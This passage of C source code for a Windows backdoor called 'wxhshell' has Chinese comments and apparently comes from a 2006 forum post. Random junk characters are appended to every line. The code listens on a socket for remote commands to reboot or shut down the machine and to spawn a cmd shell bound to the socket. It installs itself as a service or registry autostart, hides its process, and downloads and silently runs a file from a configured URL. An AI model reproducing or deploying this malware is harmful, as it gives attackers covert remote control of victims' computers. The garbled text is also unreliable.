  else { &!L:"]=+  
P4k;O?y  
    switch(cmd[0]) { /_t|Dry015  
  $*f?&U]k  
  // 帮助 0[T,O,y  
  case '?': { iWA|8$u4gm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Kqg!,Sn|  
    break; 6na^]t~ncm  
  } TL0[@rr4  
  // 安装 WsI>n  
  case 'i': { };,/0Fu  
    if(Install()) v.&>Ih/L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GZ3 ]N  
    else mchJmZ{A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,LhCFw{8?~  
    break; $t}<85YCQ  
    } Sk}{E@  
  // 卸载 V'DA[{\*  
  case 'r': { UZ2TqR  
    if(Uninstall()) M Hi8E9_O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Si2 u5  
    else Ps4 ZFX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wN=;i#  
    break; S($Su7g%_  
    } 0 1V^L}  
  // 显示 wxhshell 所在路径 iW%8/$  
  case 'p': { V}WB*bE  
    char svExeFile[MAX_PATH]; Bv6 K$4  
    strcpy(svExeFile,"\n\r"); By)u-)g9  
      strcat(svExeFile,ExeFile); y<:<$22O  
        send(wsh,svExeFile,strlen(svExeFile),0); <S?#@F\"S  
    break; [?k8}B)mHB  
    } o-C#|t3hH  
  // 重启 x/ *-P b-_  
  case 'b': { +4))/` DA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !bnyJA  
    if(Boot(REBOOT)) r;&>iX4B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U_B(( Z(g  
    else { Yg9joNBh  
    closesocket(wsh); @FO) 0  
    ExitThread(0); wkUlrL/~  
    } LR(-<"  
    break; 4_/?:$KO  
    } ZcJ\ZbE|  
  // 关机 hk[ %a$Y  
  case 'd': { "Gb1K9A im  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r^Zg-|gr  
    if(Boot(SHUTDOWN)) zfA GtT <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a^U~0i@[S  
    else { ~;]W T  
    closesocket(wsh); nkfZiyx  
    ExitThread(0); l{j~Q^U})  
    } V)(R]BK{  
    break; AlXNg!j;5K  
    } =O).Lx2J  
  // 获取shell "A$!, PX6  
  case 's': { t. ='/`!N  
    CmdShell(wsh); #S]ER907  
    closesocket(wsh); qOih`dla  
    ExitThread(0); ar9]"s+'  
    break; ;r[@v347  
  } HlvuW(,x=  
  // 退出 RTh`ENCKR  
  case 'x': { <r#eL39I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V w||!d  
    CloseIt(wsh); m,UGWR  
    break; :a ->0 l  
    } pi<TFe@eG  
  // 离开 #X 52/8G  
  case 'q': { j)C,%Ol  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H,nec<Jp  
    closesocket(wsh); o%9*B%HO/  
    WSACleanup(); {(U %i\F\  
    exit(1); {!t7[Ctb  
    break; eq(am%3~  
        } #9-P%%kQ  
  } T&4qw(\G  
  } InXn%9]p]  
#txE=e"&o  
  // 提示信息 /+Lfrt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AV9m_hZ t  
} p2Zo  
  } 7Mb# O_eh  
ojyIQk+  
  return; S"wR%\NIp  
} .A sv%p[W  
Lzu.)C@Amx  
// shell模块句柄 ho##Z*O  
int CmdShell(SOCKET sock) =  C4  
{ @=}YTtq  
STARTUPINFO si; r\qj!   
ZeroMemory(&si,sizeof(si)); W`\R%>$H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C{gyj}5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?7<JQh)"e  
PROCESS_INFORMATION ProcessInfo; Zjbc3 M5  
char cmdline[]="cmd"; 3)\8%Ox  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MrZh09y  
  return 0; t2,A@2DU 2  
} P"B0_EuR<T  
):i&`}SY  
// 自身启动模式 CC#;c1t  
int StartFromService(void) d ,4]VE  
{ &?mD$Eo  
typedef struct Ty vtmx M  
{ ?c[*:N(  
  DWORD ExitStatus; ,AxdCT  
  DWORD PebBaseAddress; QUu}Xg:  
  DWORD AffinityMask; G:~k.1y[  
  DWORD BasePriority; nqInb:  
  ULONG UniqueProcessId; GGnpjwXeH  
  ULONG InheritedFromUniqueProcessId; \"X!2  
}   PROCESS_BASIC_INFORMATION; bGc~Wr|  
Vx~,Uex0+  
PROCNTQSIP NtQueryInformationProcess; O3I8k\`  
:<}=e@/~|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >-H {Z{VDd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :x tXQza"-  
:yUEkm8  
  HANDLE             hProcess; N5a*7EJv+  
  PROCESS_BASIC_INFORMATION pbi; ?OkWe<:4  
sBr_a5QQ#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vI>>\ .ED  
  if(NULL == hInst ) return 0; .zi_[  
 o4|M0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E[/\7 v\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SQX:7YF~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RhncBKm*M  
Ney/[3 A  
  if (!NtQueryInformationProcess) return 0; 8C*c{(4  
3AU;>D^5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kx>qz.wwI?  
  if(!hProcess) return 0; Pi]19boM.  
xai*CY@cQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _f$^%?^  
YB-h.1T-  
  CloseHandle(hProcess); d3D] k,  
\ExMk<y_&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r"P|dlV-  
if(hProcess==NULL) return 0; KET2Ws[w  
7S}_F^  
HMODULE hMod; 0*f)=Q'  
char procName[255]; [ucpd  
unsigned long cbNeeded; '.:z&gSqx0  
`{dm;j5/y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XD.)Dl8  
E*]bgD7V  
  CloseHandle(hProcess); a{L d  
Xu%'Z".>:  
if(strstr(procName,"services")) return 1; // 以服务启动 uG,5BV.M  
>m$1Xx4#GV  
  return 0; // 注册表启动 jPUwSIP  
} |5lk9<z  
be.*#[  
// 主模块 E=nIRG|g  
int StartWxhshell(LPSTR lpCmdLine) s.$3j$vT 8  
{ sS*3=Yh  
  SOCKET wsl; E7rDa1  
BOOL val=TRUE; 4 o Fel.o  
  int port=0; h&KO<>  
  struct sockaddr_in door; j0oR) du  
_h{C_;a[_  
  if(wscfg.ws_autoins) Install(); sB7# ~p A  
Zy`m!]G]80  
port=atoi(lpCmdLine); h1de[q)  
16 =sij%A  
if(port<=0) port=wscfg.ws_port; >T^;MS  
e|"WQ>  
  WSADATA data; JRB9rSN^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LRL,m_gt  
4h|c<-`>t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z?h~{Mg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R!}H;[c  
  door.sin_family = AF_INET; 6^]+[q}3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !|^|,"A)  
  door.sin_port = htons(port); b3=rG(0f  
8A##\j )  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vS;RJg=  
closesocket(wsl); %)1y AdG 8  
return 1; CsGx@\jN  
} v[1aW v:  
! >FYK}c7  
  if(listen(wsl,2) == INVALID_SOCKET) { G<65H+)M\  
closesocket(wsl); >qnko9V  
return 1; wW>A_{Y  
} d; boIP`M;  
  Wxhshell(wsl); s6 uG`F"  
  WSACleanup(); ztcp/1jIvS  
jeoz* Dz  
return 0; =$'6(aDH  
f6hnTbJ  
} I|qo+u)  
)_HA>o_?C:  
// 以NT服务方式启动 p`olCp'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lXW%FH6c+  
{ u^^[Q2LDU}  
DWORD   status = 0; BC^ :=  
  DWORD   specificError = 0xfffffff; ?:Uv[|S#>  
y%"{I7!A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DX#Nf""Pw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <cps2*'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dqU~`b9  
  serviceStatus.dwWin32ExitCode     = 0; we;-~A5J  
  serviceStatus.dwServiceSpecificExitCode = 0; n] ._uza  
  serviceStatus.dwCheckPoint       = 0; xQ7l~O b  
  serviceStatus.dwWaitHint       = 0; fDv2JdiU  
V5+=e^pa2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s}vAS~~2L3  
  if (hServiceStatusHandle==0) return; j'Fpjt"&=  
<sb~ ^B  
status = GetLastError(); }bb;~  
  if (status!=NO_ERROR) T<n  
{ Acez'@z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b/+u4'"  
    serviceStatus.dwCheckPoint       = 0; G/)O@Ugp  
    serviceStatus.dwWaitHint       = 0; 6AAz  
    serviceStatus.dwWin32ExitCode     = status; BX`{73sw  
    serviceStatus.dwServiceSpecificExitCode = specificError; D+rxT: d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bQg c8/  
    return; t% d Z-Ym  
  } 0yk]o5a++  
rD*jp6Cl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cN/6SGHK  
  serviceStatus.dwCheckPoint       = 0; W=~~5jFX  
  serviceStatus.dwWaitHint       = 0; ;AG8C#_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .]8ZwAs=&  
} l{*@v=b(  
c[0}AG J  
// 处理NT服务事件,比如:启动、停止 wON!MhA;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /CrSu  
{ uy>q7C  
switch(fdwControl) p*XANGA  
{ T$8)u'-pa  
case SERVICE_CONTROL_STOP: ?g_3 [Fk  
  serviceStatus.dwWin32ExitCode = 0; ; 5*&xz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7r6.n61F  
  serviceStatus.dwCheckPoint   = 0; j\eI0b @*  
  serviceStatus.dwWaitHint     = 0; ">\?&0  
  { 'g}!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <$D`Z-6  
  } =*oJEy"  
  return; N=V==Dbu-  
case SERVICE_CONTROL_PAUSE: P\E<9*V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]%;:7?5l  
  break; 9)l$ aBa  
case SERVICE_CONTROL_CONTINUE: hZm"t/aKc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tHU2/V:R  
  break; U7?;UCmX  
case SERVICE_CONTROL_INTERROGATE: #]\Uk,mhZB  
  break; ^ gdaa>L  
}; ) ;EBz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tj'\tW+s'  
} iDpSj!x/_  
mVj9, q0  
// 标准应用程序主函数 ./\@Km?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s n8Qk=K  
{ &)QX7*H  
Na<pwC  
// 获取操作系统版本 xB@ T|EP  
OsIsNt=GetOsVer(); " s,1%Ltt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GV1pn) 4  
.#EFLXs  
  // 从命令行安装 v&6-a*<Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8'[~2/  
(^ J I%>  
  // 下载执行文件 b!+hH Hv:  
if(wscfg.ws_downexe) { ncaT?~u j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) atj(eg  
  WinExec(wscfg.ws_filenam,SW_HIDE); x[cL Bc<  
} n'"/KS+_  
zrvF]|1UP  
if(!OsIsNt) { AzPu)  
// 如果时win9x,隐藏进程并且设置为注册表启动 "fb[23g%@k  
HideProc(); Q-(zwAaE  
StartWxhshell(lpCmdLine); ~]sc^[  
} irZ])a  
else 49eD1h3'X[  
  if(StartFromService()) Q 3 ea{!r  
  // 以服务方式启动 ^vZSUfS  
  StartServiceCtrlDispatcher(DispatchTable); W<'m:dq  
else 91/Q9xY  
  // 普通方式启动 \UA[  
  StartWxhshell(lpCmdLine); %7hrk  
Kf3"Wf^q   
return 0; n3WlZ!$  
}
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只看该作者 1 发表于: 2006-10-10
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